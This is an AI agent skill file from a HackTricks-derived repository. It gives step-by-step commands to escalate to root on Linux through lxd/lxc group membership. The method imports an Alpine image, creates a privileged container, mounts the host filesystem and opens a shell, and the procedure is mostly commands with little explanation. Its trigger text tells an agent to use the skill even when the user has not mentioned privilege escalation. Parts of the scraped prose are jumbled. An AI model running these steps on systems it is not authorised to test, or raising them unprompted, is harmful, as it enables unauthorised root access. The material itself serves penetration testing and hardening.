Hacktricks-skills lxd-privilege-escalation
Privilege escalation via LXD/LXC group membership. Use this skill whenever the user mentions LXD, LXC, container-based privilege escalation, or when they discover they belong to the lxd or lxc group on a Linux system. This skill provides step-by-step methods to gain root access through privileged container creation. Trigger this skill for any Linux privilege escalation scenario involving container groups, even if the user doesn't explicitly mention "privilege escalation" or "root access."
git clone https://github.com/abelrguezr/hacktricks-skills
skills/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation/SKILL.MDLXD/LXC Group Privilege Escalation
If you belong to the lxd or lxc group on a Linux system, you can escalate to root by creating a privileged container that mounts the host filesystem.
Why This Works
LXD/LXC containers can be configured with
security.privileged=true, which allows the container to interact with the host filesystem as root. When you're in the lxd/lxc group, you have permission to create and configure these containers without needing root access yourself.
Prerequisites
- You must be a member of the
orlxd
grouplxc - Verify with:
orgroupsid - The LXD service must be running
Method 1: Download Alpine Image from Canonical
This method downloads a pre-built Alpine image from Canonical's repository.
Step 1: Download the Alpine Image
# Navigate to the latest build directory # Directory name is the date (e.g., 20240115_1200) wget https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/latest/lxd.tar.xz wget https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/latest/rootfs.squashfs
Step 2: Import the Image
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine lxc image list # Verify the image is there
Step 3: Initialize LXD Storage (if needed)
If you get the error
Error: No storage pool found. Please create a new storage pool, run:
lxd init
Accept all defaults when prompted.
Step 4: Create a Privileged Container
lxc init alpine privesc -c security.privileged=true lxc list # Verify the container exists
Step 5: Mount the Host Filesystem
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Step 6: Start the Container and Get Root
lxc start privesc lxc exec privesc /bin/sh cd /mnt/root # The host filesystem is mounted here
You now have root access to the host system.
Method 2: Build Alpine Image Locally
Use this method if you have internet access and can build the image yourself.
Step 1: Clone and Build the Alpine Image
git clone https://github.com/saghul/lxd-alpine-builder cd lxd-alpine-builder # Update the build script to use a stable release sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine # Build the image (adjust architecture as needed) sudo ./build-alpine -a i686
Step 2: Import the Image
# IMPORTANT: Run this from your HOME directory on the victim machine lxc image import ./alpine*.tar.gz --alias myimage
Step 3: Initialize LXD Storage
lxd init
Accept all defaults when prompted.
Step 4: Create and Configure the Container
lxc init myimage mycontainer -c security.privileged=true lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
Step 5: Start and Access Root
lxc start mycontainer lxc exec mycontainer /bin/sh cd /mnt/root
Alternative: Build Image with Distrobuilder
If you need to build a custom image, use the LXC distrobuilder:
# Install requirements sudo apt update sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage # Clone and build distrobuilder mkdir -p $HOME/go/src/github.com/lxc/ cd $HOME/go/src/github.com/lxc/ git clone https://github.com/lxc/distrobuilder cd ./distrobuilder make # Prepare Alpine configuration mkdir -p $HOME/ContainerImages/alpine/ cd $HOME/ContainerImages/alpine/ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml # Build the image sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64 # Import and use (files will be incus.tar.xz and rootfs.squashfs) lxc image import incus.tar.xz rootfs.squashfs --alias alpine
Common Issues and Solutions
"No storage pool found"
lxd init
Then repeat the container creation commands.
Image import fails
- Ensure you're running the import command from your HOME directory
- Check that both files (tar.xz and squashfs) are in the same directory
- Verify the files aren't corrupted
Architecture mismatch
When building locally, match the host architecture:
for 64-bit Intel/AMDx86_64
for 32-bit Intel/AMDi686
for ARM 64-bitarm64
Verification
After gaining access, verify you have root on the host:
whoami # Should show root id # Should show uid=0(root) cat /etc/passwd # Should be readable
Cleanup (Optional)
After you're done, you can remove the container:
lxc stop privesc lxc delete privesc lxc image delete alpine
Notes
- This technique works because privileged containers bypass most LXD security restrictions
- The
flag ensures all subdirectories are mountedrecursive=true - The container's
maps to the host's/mnt/root/ - This is a well-known privilege escalation vector and should be mitigated by removing users from the lxd/lxc groups